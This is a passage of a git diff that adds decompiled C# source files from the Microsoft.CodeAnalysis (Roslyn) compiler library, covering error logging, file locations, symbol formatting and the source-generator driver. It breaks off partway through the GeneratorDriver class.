b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EnumOverflowKind.cs new file mode 100644 index 0000000..0f69dff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/EnumOverflowKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +internal enum EnumOverflowKind +{ + NoOverflow, + OverflowReport, + OverflowIgnore +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ErrorLogOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ErrorLogOptions.cs new file mode 100644 index 0000000..1769a1b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ErrorLogOptions.cs @@ -0,0 +1,20 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public sealed class ErrorLogOptions +{ + public string Path { get; } + + public SarifVersion SarifVersion { get; } + + public ErrorLogOptions(string path, SarifVersion sarifVersion) + { + if (string.IsNullOrEmpty(path)) + { + throw new ArgumentNullException("path"); + } + Path = path; + SarifVersion = sarifVersion; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ErrorLogger.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ErrorLogger.cs new file mode 100644 index 0000000..2359cc4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ErrorLogger.cs @@ -0,0 +1,11 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Diagnostics; + +namespace Microsoft.CodeAnalysis; + +internal abstract class ErrorLogger +{ + public abstract void LogDiagnostic(Diagnostic diagnostic, SuppressionInfo? suppressionInfo); + + public abstract void AddAnalyzerDescriptorsAndExecutionTime(ImmutableArray<(DiagnosticDescriptor Descriptor, DiagnosticDescriptorErrorLoggerInfo Info)> descriptors, double totalAnalyzerExecutionTime); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ExternalFileLocation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ExternalFileLocation.cs new file mode 100644 index 0000000..56fdae4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ExternalFileLocation.cs @@ -0,0 +1,65 @@ +using System; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class ExternalFileLocation : Location, IEquatable +{ + private readonly TextSpan _sourceSpan; + + private readonly FileLinePositionSpan _lineSpan; + + private readonly FileLinePositionSpan _mappedLineSpan; + + public override TextSpan SourceSpan => _sourceSpan; + + public override LocationKind Kind => LocationKind.ExternalFile; + + internal ExternalFileLocation(string filePath, TextSpan sourceSpan, LinePositionSpan lineSpan) + { + _sourceSpan = sourceSpan; + _lineSpan = new FileLinePositionSpan(filePath, lineSpan); + _mappedLineSpan = _lineSpan; + } + + internal ExternalFileLocation(string filePath, TextSpan sourceSpan, LinePositionSpan lineSpan, string mappedFilePath, LinePositionSpan mappedLineSpan) + { + _sourceSpan = sourceSpan; + _lineSpan = new FileLinePositionSpan(filePath, lineSpan); + _mappedLineSpan = new FileLinePositionSpan(mappedFilePath, mappedLineSpan, hasMappedPath: true); + } + + public override FileLinePositionSpan GetLineSpan() + { + return _lineSpan; + } + + public override FileLinePositionSpan GetMappedLineSpan() + { + return _mappedLineSpan; + } + + public override bool Equals(object? obj) + { + return Equals(obj as ExternalFileLocation); + } + + public bool Equals(ExternalFileLocation? obj) + { + if ((object)obj == this) + { + return true; + } + if (obj != null && _sourceSpan == obj._sourceSpan && _lineSpan.Equals(obj._lineSpan)) + { + return _mappedLineSpan.Equals(obj._mappedLineSpan); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_lineSpan.GetHashCode(), Hash.Combine(_mappedLineSpan.GetHashCode(), _sourceSpan.GetHashCode())); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FailFast.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FailFast.cs new file mode 100644 index 0000000..f0c1bb6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FailFast.cs @@ -0,0 +1,78 @@ +using System; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.ErrorReporting; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class FailFast +{ + internal static readonly FatalError.ErrorReporterHandler Handler = delegate(Exception e, ErrorSeverity _, bool _) + { + OnFatalException(e); + }; + + [MethodImpl(MethodImplOptions.Synchronized)] + [DebuggerHidden] + [DoesNotReturn] + internal static void OnFatalException(Exception exception) + { + if (Debugger.IsAttached) + { + Debugger.Break(); + } + if (exception is AggregateException ex && ex.InnerExceptions.Count == 1) + { + exception = ex.InnerExceptions[0]; + } + Environment.FailFast(exception.ToString(), exception); + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/InternalUtilities/FailFast.cs", 43); + } + + [MethodImpl(MethodImplOptions.Synchronized)] + [DebuggerHidden] + [DoesNotReturn] + internal static void Fail(string message) + { + Environment.FailFast(message); + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/InternalUtilities/FailFast.cs", 53); + } + + [Conditional("DEBUG")] + internal static void DumpStackTrace(Exception? exception = null, string? message = null) + { + Console.WriteLine("Dumping info before call to failfast"); + if (message != null) + { + Console.WriteLine(message); + } + if (exception != null) + { + Console.WriteLine("Exception info"); + for (Exception ex = exception; ex != null; ex = ex.InnerException) + { + Console.WriteLine(ex.Message); + Console.WriteLine(ex.StackTrace); + } + } + Console.WriteLine("Stack trace of handler"); + Console.WriteLine(new StackTrace().ToString()); + Console.Out.Flush(); + } + + [Conditional("DEBUG")] + [DebuggerHidden] + internal static void Assert([DoesNotReturnIf(false)] bool condition, string? message = null) + { + if (!condition) + { + if (Debugger.IsAttached) + { + Debugger.Break(); + } + Fail("ASSERT FAILED" + Environment.NewLine + message); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FieldInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FieldInfo.cs new file mode 100644 index 0000000..0052f31 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FieldInfo.cs @@ -0,0 +1,27 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct FieldInfo where TypeSymbol : class +{ + internal readonly bool IsByRef; + + internal readonly ImmutableArray> RefCustomModifiers; + + internal readonly TypeSymbol Type; + + internal readonly ImmutableArray> CustomModifiers; + + internal FieldInfo(bool isByRef, ImmutableArray> refCustomModifiers, TypeSymbol type, ImmutableArray> customModifiers) + { + IsByRef = isByRef; + RefCustomModifiers = refCustomModifiers; + Type = type; + CustomModifiers = customModifiers; + } + + internal FieldInfo(TypeSymbol type) + : this(isByRef: false, default(ImmutableArray>), type, default(ImmutableArray>)) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FileLinePositionSpan.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FileLinePositionSpan.cs new file mode 100644 index 0000000..79c6a0b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FileLinePositionSpan.cs @@ -0,0 +1,82 @@ +using System; +using System.Runtime.Serialization; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DataContract] +public readonly struct FileLinePositionSpan : IEquatable +{ + [DataMember(Order = 0)] + public string Path { get; } + + [DataMember(Order = 1)] + public LinePositionSpan Span { get; } + + [DataMember(Order = 2)] + public bool HasMappedPath { get; } + + public LinePosition StartLinePosition => Span.Start; + + public LinePosition EndLinePosition => Span.End; + + public bool IsValid => Path != null; + + public FileLinePositionSpan(string path, LinePosition start, LinePosition end) + { + this = new FileLinePositionSpan(path, new LinePositionSpan(start, end)); + } + + public FileLinePositionSpan(string path, LinePositionSpan span) + { + Path = path ?? throw new ArgumentNullException("path"); + Span = span; + HasMappedPath = false; + } + + internal FileLinePositionSpan(string path, LinePositionSpan span, bool hasMappedPath) + { + Path = path; + Span = span; + HasMappedPath = hasMappedPath; + } + + public bool Equals(FileLinePositionSpan other) + { + if (Span.Equals(other.Span) && HasMappedPath == other.HasMappedPath) + { + return string.Equals(Path, other.Path, StringComparison.Ordinal); + } + return false; + } + + public override bool Equals(object? other) + { + if (other is FileLinePositionSpan other2) + { + return Equals(other2); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Path, Hash.Combine(HasMappedPath, Span.GetHashCode())); + } + + public override string ToString() + { + return Path + ": " + Span; + } + + public static bool operator ==(FileLinePositionSpan left, FileLinePositionSpan right) + { + return left.Equals(right); + } + + public static bool operator !=(FileLinePositionSpan left, FileLinePositionSpan right) + { + return !(left == right); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FileSystemExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FileSystemExtensions.cs new file mode 100644 index 0000000..e992187 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FileSystemExtensions.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading; +using Microsoft.CodeAnalysis.Emit; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public static class FileSystemExtensions +{ + public static EmitResult Emit(this Compilation compilation, string outputPath, string? pdbPath = null, string? xmlDocPath = null, string? win32ResourcesPath = null, IEnumerable? manifestResources = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (compilation == null) + { + throw new ArgumentNullException("compilation"); + } + using Stream peStream = FileUtilities.CreateFileStreamChecked(File.Create, outputPath, "outputPath"); + using Stream pdbStream = ((pdbPath == null) ? null : FileUtilities.CreateFileStreamChecked(File.Create, pdbPath, "pdbPath")); + using Stream xmlDocumentationStream = ((xmlDocPath == null) ? null : FileUtilities.CreateFileStreamChecked(File.Create, xmlDocPath, "xmlDocPath")); + using Stream win32Resources = ((win32ResourcesPath == null) ? null : FileUtilities.CreateFileStreamChecked(File.OpenRead, win32ResourcesPath, "win32ResourcesPath")); + return compilation.Emit(peStream, pdbStream, xmlDocumentationStream, win32Resources, manifestResources, new EmitOptions(metadataOnly: false, (DebugInformationFormat)0, pdbPath, null, 0, 0uL), cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FormattedSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FormattedSymbol.cs new file mode 100644 index 0000000..4d96008 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FormattedSymbol.cs @@ -0,0 +1,42 @@ +using System; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class FormattedSymbol : IFormattable +{ + private readonly ISymbolInternal _symbol; + + private readonly SymbolDisplayFormat _symbolDisplayFormat; + + internal FormattedSymbol(ISymbolInternal symbol, SymbolDisplayFormat symbolDisplayFormat) + { + _symbol = symbol; + _symbolDisplayFormat = symbolDisplayFormat; + } + + public override string ToString() + { + return _symbol.GetISymbol().ToDisplayString(_symbolDisplayFormat); + } + + public override bool Equals(object obj) + { + if (obj is FormattedSymbol formattedSymbol && _symbol.Equals(formattedSymbol._symbol)) + { + return _symbolDisplayFormat == formattedSymbol._symbolDisplayFormat; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_symbol.GetHashCode(), _symbolDisplayFormat.GetHashCode()); + } + + string IFormattable.ToString(string format, IFormatProvider formatProvider) + { + return ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FormattedSymbolList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FormattedSymbolList.cs new file mode 100644 index 0000000..0bbdce9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/FormattedSymbolList.cs @@ -0,0 +1,44 @@ +using System; +using System.Collections.Generic; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +internal sealed class FormattedSymbolList : IFormattable +{ + private readonly IEnumerable _symbols; + + private readonly SymbolDisplayFormat _symbolDisplayFormat; + + internal FormattedSymbolList(IEnumerable symbols, SymbolDisplayFormat symbolDisplayFormat = null) + { + _symbols = symbols; + _symbolDisplayFormat = symbolDisplayFormat; + } + + public override string ToString() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + bool flag = true; + foreach (ISymbol symbol in _symbols) + { + if (flag) + { + flag = false; + } + else + { + builder.Append(", "); + } + builder.Append(symbol.ToDisplayString(_symbolDisplayFormat)); + } + return instance.ToStringAndFree(); + } + + string IFormattable.ToString(string format, IFormatProvider formatProvider) + { + return ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratedKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratedKind.cs new file mode 100644 index 0000000..ceee52a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratedKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum GeneratedKind +{ + Unknown, + NotGenerated, + MarkedGenerated +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratedSourceResult.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratedSourceResult.cs new file mode 100644 index 0000000..14d9c8a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratedSourceResult.cs @@ -0,0 +1,19 @@ +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +public readonly struct GeneratedSourceResult +{ + public SyntaxTree SyntaxTree { get; } + + public SourceText SourceText { get; } + + public string HintName { get; } + + internal GeneratedSourceResult(SyntaxTree tree, SourceText text, string hintName) + { + SyntaxTree = tree; + SourceText = text; + HintName = hintName; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratedSourceText.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratedSourceText.cs new file mode 100644 index 0000000..f80c175 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratedSourceText.cs @@ -0,0 +1,16 @@ +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct GeneratedSourceText +{ + public SourceText Text { get; } + + public string HintName { get; } + + public GeneratedSourceText(string hintName, SourceText text) + { + Text = text; + HintName = hintName; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratedSyntaxTree.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratedSyntaxTree.cs new file mode 100644 index 0000000..efd72d6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratedSyntaxTree.cs @@ -0,0 +1,19 @@ +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct GeneratedSyntaxTree +{ + public SourceText Text { get; } + + public string HintName { get; } + + public SyntaxTree Tree { get; } + + public GeneratedSyntaxTree(string hintName, SourceText text, SyntaxTree tree) + { + Text = text; + HintName = hintName; + Tree = tree; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorAttribute.cs new file mode 100644 index 0000000..1647ce8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorAttribute.cs @@ -0,0 +1,33 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Class)] +public sealed class GeneratorAttribute : Attribute +{ + public string[] Languages { get; } + + public GeneratorAttribute() + : this("C#") + { + } + + public GeneratorAttribute(string firstLanguage, params string[] additionalLanguages) + { + if (firstLanguage == null) + { + throw new ArgumentNullException("firstLanguage"); + } + if (additionalLanguages == null) + { + throw new ArgumentNullException("additionalLanguages"); + } + string[] array = new string[additionalLanguages.Length + 1]; + array[0] = firstLanguage; + for (int i = 0; i < additionalLanguages.Length; i++) + { + array[i + 1] = additionalLanguages[i]; + } + Languages = array; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorAttributeSyntaxContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorAttributeSyntaxContext.cs new file mode 100644 index 0000000..98ec50d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorAttributeSyntaxContext.cs @@ -0,0 +1,22 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public readonly struct GeneratorAttributeSyntaxContext +{ + public SyntaxNode TargetNode { get; } + + public ISymbol TargetSymbol { get; } + + public SemanticModel SemanticModel { get; } + + public ImmutableArray Attributes { get; } + + internal GeneratorAttributeSyntaxContext(SyntaxNode targetNode, ISymbol targetSymbol, SemanticModel semanticModel, ImmutableArray attributes) + { + TargetNode = targetNode; + TargetSymbol = targetSymbol; + SemanticModel = semanticModel; + Attributes = attributes; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriver.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriver.cs new file mode 100644 index 0000000..fab7c2a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriver.cs @@ -0,0 +1,392 @@ +using System; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +public abstract class GeneratorDriver +{ + internal const IncrementalGeneratorOutputKind HostKind = (IncrementalGeneratorOutputKind)32; + + internal readonly GeneratorDriverState _state; + + internal abstract CommonMessageProvider MessageProvider { get; } + + internal abstract string SourceExtension { get; } + + internal abstract ISyntaxHelper SyntaxHelper { get; } + + internal GeneratorDriver(GeneratorDriverState state) + { + _state = state; + } + + internal GeneratorDriver(ParseOptions parseOptions, ImmutableArray generators, AnalyzerConfigOptionsProvider optionsProvider, ImmutableArray additionalTexts, GeneratorDriverOptions driverOptions) + { + ImmutableArray incrementalGenerators = GetIncrementalGenerators(generators, SourceExtension); + _state = new GeneratorDriverState(parseOptions, optionsProvider, generators, incrementalGenerators, additionalTexts, ImmutableArray.Create(new GeneratorState[generators.Length]), DriverStateTable.Empty, SyntaxStore.Empty, driverOptions.DisabledOutputs, TimeSpan.Zero, driverOptions.TrackIncrementalGeneratorSteps, parseOptionsChanged: true); + } + + public GeneratorDriver RunGenerators(Compilation compilation, CancellationToken cancellationToken = default(CancellationToken)) + { + GeneratorDriverState state = RunGeneratorsCore(compilation, null, cancellationToken); + return FromState(state); + } + + public GeneratorDriver RunGeneratorsAndUpdateCompilation(Compilation compilation, out Compilation outputCompilation, out ImmutableArray diagnostics, CancellationToken cancellationToken = default(CancellationToken)) + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + GeneratorDriverState state = RunGeneratorsCore(compilation, instance, cancellationToken); + diagnostics = instance.ToReadOnlyAndFree(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = state.GeneratorStates.GetEnumerator(); + while (enumerator.MoveNext()) + { + GeneratorState current = enumerator.Current; + instance2.AddRange(current.PostInitTrees.Select((GeneratedSyntaxTree t) => t.Tree)); + instance2.AddRange(current.GeneratedTrees.Select((GeneratedSyntaxTree t) => t.Tree)); + } + outputCompilation = compilation.AddSyntaxTrees(instance2); + instance2.Free(); + return FromState(state); + } + + public GeneratorDriver AddGenerators(ImmutableArray generators) + { + ImmutableArray incrementalGenerators = GetIncrementalGenerators(generators, SourceExtension); + GeneratorDriverState state = _state.With(_state.Generators.AddRange(generators), _state.IncrementalGenerators.AddRange(incrementalGenerators), _state.GeneratorStates.AddRange(new GeneratorState[generators.Length])); + return FromState(state); + } + + public GeneratorDriver ReplaceGenerators(ImmutableArray generators) + { + ImmutableArray incrementalGenerators = GetIncrementalGenerators(generators, SourceExtension); + ArrayBuilder instance = ArrayBuilder.GetInstance(generators.Length); + ImmutableArray.Enumerator enumerator = generators.GetEnumerator(); + while (enumerator.MoveNext()) + { + ISourceGenerator current = enumerator.Current; + int num = _state.Generators.IndexOf(current); + if (num >= 0) + { + instance.Add(_state.GeneratorStates[num]); + } + else + { + instance.Add(GeneratorState.Empty); + } + } + return FromState(_state.With(generators, incrementalGenerators, instance.ToImmutableAndFree())); + } + + public GeneratorDriver RemoveGenerators(ImmutableArray generators) + { + ImmutableArray value = _state.Generators; + ImmutableArray value2 = _state.GeneratorStates; + ImmutableArray value3 = _state.IncrementalGenerators; + for (int i = 0; i < value.Length; i++) + { + if (generators.Contains(value[i])) + { + value = value.RemoveAt(i); + value2 = value2.RemoveAt(i); + value3 = value3.RemoveAt(i); + i--; + } + } + return FromState(_state.With(value, value3, value2)); + } + + public GeneratorDriver AddAdditionalTexts(ImmutableArray additionalTexts) + { + ref readonly GeneratorDriverState state = ref _state; + ImmutableArray? additionalTexts2 = _state.AdditionalTexts.AddRange(additionalTexts); + GeneratorDriverState state2 = state.With(null, null, null, additionalTexts2); + return FromState(state2); + } + + public GeneratorDriver RemoveAdditionalTexts(ImmutableArray additionalTexts) + { + ref readonly GeneratorDriverState state = ref _state; + ImmutableArray? additionalTexts2 = _state.AdditionalTexts.RemoveRange(additionalTexts); + GeneratorDriverState state2 = state.With(null, null, null, additionalTexts2); + return FromState(state2); + } + + public GeneratorDriver ReplaceAdditionalText(AdditionalText oldText, AdditionalText newText) + { + if (oldText == null) + { + throw new ArgumentNullException("oldText"); + } + if (newText == null) + { + throw new ArgumentNullException("newText"); + } + ref readonly GeneratorDriverState state = ref _state; + ImmutableArray? additionalTexts = _state.AdditionalTexts.Replace(oldText, newText); + GeneratorDriverState state2 = state.With(null, null, null, additionalTexts); + return FromState(state2); + } + + public GeneratorDriver ReplaceAdditionalTexts(ImmutableArray newTexts) + { + ref readonly GeneratorDriverState state = ref _state; + ImmutableArray? additionalTexts = newTexts; + return FromState(state.With(null, null, null, additionalTexts)); + } + + public GeneratorDriver WithUpdatedParseOptions(ParseOptions newOptions) + { + if ((object)newOptions == null) + { + throw new ArgumentNullException("newOptions"); + } + ref readonly GeneratorDriverState state = ref _state; + bool? parseOptionsChanged = true; + return FromState(state.With(null, null, null, null, null, null, newOptions, null, null, null, parseOptionsChanged)); + } + + public GeneratorDriver WithUpdatedAnalyzerConfigOptions(AnalyzerConfigOptionsProvider newOptions) + { + if (newOptions == null) + { + throw new ArgumentNullException("newOptions"); + } + return FromState(_state.With(null, null, null, null, null, null, null, newOptions)); + } + + public GeneratorDriverRunResult GetRunResult() + { + return new GeneratorDriverRunResult(_state.Generators.ZipAsArray(_state.GeneratorStates, delegate(ISourceGenerator generator, GeneratorState generatorState) + { + ImmutableArray diagnostics = generatorState.Diagnostics; + return new GeneratorRunResult(exception: generatorState.Exception, generatedSources: getGeneratorSources(generatorState), diagnostics: diagnostics, elapsedTime: generatorState.ElapsedTime, generator: generator, namedSteps: generatorState.ExecutedSteps, outputSteps: generatorState.OutputSteps, hostOutputs: generatorState.HostOutputs); + }), _state.RunTime); + static ImmutableArray getGeneratorSources(GeneratorState generatorState) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(generatorState.PostInitTrees.Length + generatorState.GeneratedTrees.Length); + ImmutableArray.Enumerator enumerator = generatorState.PostInitTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + GeneratedSyntaxTree current = enumerator.Current; + instance.Add(new GeneratedSourceResult(current.Tree, current.Text, current.HintName)); + } + enumerator = generatorState.GeneratedTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + GeneratedSyntaxTree current2 = enumerator.Current; + instance.Add(new GeneratedSourceResult(current2.Tree, current2.Text, current2.HintName)); + } + return instance.ToImmutableAndFree(); + } + } + + public GeneratorDriverTimingInfo GetTimingInfo() + { + ImmutableArray generatorTimes = _state.Generators.ZipAsArray(_state.GeneratorStates, (ISourceGenerator generator, GeneratorState generatorState) => new GeneratorTimingInfo(generator, generatorState.ElapsedTime)); + return new GeneratorDriverTimingInfo(_state.RunTime, generatorTimes); + } + + internal GeneratorDriverState RunGeneratorsCore(Compilation compilation, DiagnosticBag? diagnosticsBag, CancellationToken cancellationToken = default(CancellationToken)) + { + if (_state.Generators.IsEmpty) + { + ref readonly GeneratorDriverState state = ref _state; + DriverStateTable empty = DriverStateTable.Empty; + TimeSpan? runTime = TimeSpan.Zero; + return state.With(null, null, null, null, empty, null, null, null, null, runTime); + } + using GeneratorTimerExtensions.RunTimer runTimer = CodeAnalysisEventSource.Log.CreateGeneratorDriverRunTimer(); + GeneratorDriverState state2 = _state; + ArrayBuilder stateBuilder = ArrayBuilder.GetInstance(state2.Generators.Length); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + for (int i = 0; i < state2.IncrementalGenerators.Length; i++) + { + IIncrementalGenerator incrementalGenerator = state2.IncrementalGenerators[i]; + GeneratorState item = state2.GeneratorStates[i]; + ISourceGenerator generator = state2.Generators[i]; + if (!item.Initialized) + { + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + ArrayBuilder instance4 = ArrayBuilder.GetInstance(); + ImmutableArray postInitTrees = ImmutableArray.Empty; + IncrementalGeneratorInitializationContext context = new IncrementalGeneratorInitializationContext(instance4, instance3, SyntaxHelper, SourceExtension); + Exception ex = null; + try + { + incrementalGenerator.Initialize(context); + } + catch (Exception ex2) + { + ex = ex2; + } + ImmutableArray outputNodes = instance3.ToImmutableAndFree(); + ImmutableArray inputNodes = instance4.ToImmutableAndFree(); + if (ex == null) + { + try + { + postInitTrees = ParseAdditionalSources(generator, UpdateOutputs(outputNodes, IncrementalGeneratorOutputKind.PostInit, new GeneratorRunStateTable.Builder(recordingExecutedSteps: false), cancellationToken).ToImmutableAndFree().sources, cancellationToken); + } + catch (UserFunctionException ex3) + { + ex = ex3.InnerException; + } + } + item = ((ex == null) ? new GeneratorState(postInitTrees, inputNodes, outputNodes) : SetGeneratorException(compilation, MessageProvider, GeneratorState.Empty, generator, ex, diagnosticsBag, cancellationToken, null, isInit: true)); + } + else if (state2.ParseOptionsChanged && item.PostInitTrees.Length > 0) + { + ImmutableArray postInitTrees2 = ParseAdditionalSources(generator, item.PostInitTrees.SelectAsArray((GeneratedSyntaxTree t) => new GeneratedSourceText(t.HintName, t.Text)), cancellationToken); + item = new GeneratorState(postInitTrees2, item.InputNodes, item.OutputNodes); + } + if (!item.InputNodes.IsEmpty) + { + instance2.AddRange(item.InputNodes); + } + if (item.PostInitTrees.Length > 0) + { + instance.AddRange(item.PostInitTrees.Select((GeneratedSyntaxTree t) => t.Tree)); + } + stateBuilder.Add(item); + } + if (instance.Count > 0) + { + compilation = compilation.AddSyntaxTrees(instance); + } + instance.Free(); + SyntaxStore.Builder syntaxStoreBuilder = _state.SyntaxStore.ToBuilder(compilation, instance2.ToImmutableAndFree(), _state.TrackIncrementalSteps, cancellationToken); + DriverStateTable.Builder builder = new DriverStateTable.Builder(compilation, _state, syntaxStoreBuilder, cancellationToken); + int i2; + for (i2 = 0; i2 < state2.IncrementalGenerators.Length; i2++) + { + GeneratorState generatorState = stateBuilder[i2]; + if (generatorState.OutputNodes.Length == 0) + { + continue; + } + using GeneratorTimerExtensions.RunTimer runTimer2 = CodeAnalysisEventSource.Log.CreateSingleGeneratorRunTimer(state2.Generators[i2], (TimeSpan t) => t.Add(syntaxStoreBuilder.GetRuntimeAdjustment(stateBuilder[i2].InputNodes))); + try + { + (ImmutableArray sources, ImmutableArray diagnostics, GeneratorRunStateTable executedSteps, ImmutableArray<(string Key, string Value)> hostOutputs) tuple = UpdateOutputs(generatorState.OutputNodes, (IncrementalGeneratorOutputKind)37, new GeneratorRunStateTable.Builder(state2.TrackIncrementalSteps), cancellationToken, builder).ToImmutableAndFree(); + ImmutableArray item2 = tuple.sources; + ImmutableArray item3 = tuple.diagnostics; + GeneratorRunStateTable item4 = tuple.executedSteps; + ImmutableArray<(string, string)> item5 = tuple.hostOutputs; + item3 = FilterDiagnostics(compilation, item3, diagnosticsBag, cancellationToken); + stateBuilder[i2] = generatorState.WithResults(ParseAdditionalSources(state2.Generators[i2], item2, cancellationToken), item3, item4.ExecutedSteps, item4.OutputSteps, item5, runTimer2.Elapsed); + } + catch (UserFunctionException ex4) + { + stateBuilder[i2] = SetGeneratorException(compilation, MessageProvider, generatorState, state2.Generators[i2], ex4.InnerException, diagnosticsBag, cancellationToken, runTimer2.Elapsed); + } + } + DriverStateTable empty = builder.ToImmutable(); + SyntaxStore syntaxStore = syntaxStoreBuilder.ToImmutable(); + 